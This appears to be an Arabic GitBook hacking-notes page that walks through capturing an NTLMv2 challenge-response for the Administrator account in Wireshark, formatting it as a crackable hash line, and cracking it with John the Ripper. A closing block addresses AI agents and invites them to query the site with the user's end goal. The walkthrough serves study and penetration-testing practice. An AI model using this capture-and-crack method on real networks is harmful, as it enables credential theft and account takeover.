> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/active-directory/lateral-movement/ntlm-roasting.md).

# NTLM Roasting

من جهاز يعمل بنظام Windows، نقوم أولًا بإجراء مصادقة NTLM.

{% code overflow="wrap" %}

```bash
dir //172.16.0.10/c$
```

{% endcode %}

إذا التقطنا الحركة في Wireshark، فيمكننا التصفية على `NTLMSSP`.

<figure><img src="/files/b72e8f1991a658ae37cea9aa25e20fdc71d2dd58" alt=""><figcaption></figcaption></figure>

ثم نسترجع التحدي الذي أرسله الخادم.

* 9dcfb27e14194959

<figure><img src="/files/90036c810d8317a8263861a322d29c6145b0877a" alt="" width="563"><figcaption></figcaption></figure>

في الاستجابة، نجد أيضًا الجزء المشفّر الذي أرسله العميل.

{% code overflow="wrap" %}

```bash
d4742b082e949c7f93311599134ffb9b01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```

{% endcode %}

<figure><img src="/files/e43b1a962c4c91e211ca10775bb193ba5fe8a172" alt=""><figcaption></figcaption></figure>

ونلاحظ أيضًا `NTProofStr`.

* d4742b082e949c7f93311599134ffb9b

<figure><img src="/files/d084a60b36fe9d25e9bc92bc0e043a3b81bcee98" alt=""><figcaption></figcaption></figure>

أخيرًا، يجب عليك تحديد اسم المستخدم الذي يقدّم الطلب.

* Administrator

<figure><img src="/files/3a59a9edd4a47258aca682726d52c50ab2c1eee7" alt=""><figcaption></figcaption></figure>

ثم يتم تجميع كل هذه القيم في التنسيق الذي تتوقعه أداة الكسر.

{% code overflow="wrap" %}

```bash
UserName::Domain:NTLM_Server_Challenge:NTProofStr:NTLMv2Response-NTProofStr
```

{% endcode %}

{% code overflow="wrap" %}

```bash
Administrador::WHOAMI:9dcfb27e14194959:d4742b082e949c7f93311599134ffb9b:01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```

{% endcode %}

من Linux، يمكننا بعد ذلك محاولة كسر استجابة NTLMv2.

{% code overflow="wrap" %}

```bash
john admin.ntlmv2
```

{% endcode %}

<figure><img src="/files/a61fd9e2c3b939341f17b5e6ce8c97ee280eb04e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/active-directory/lateral-movement/ntlm-roasting.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
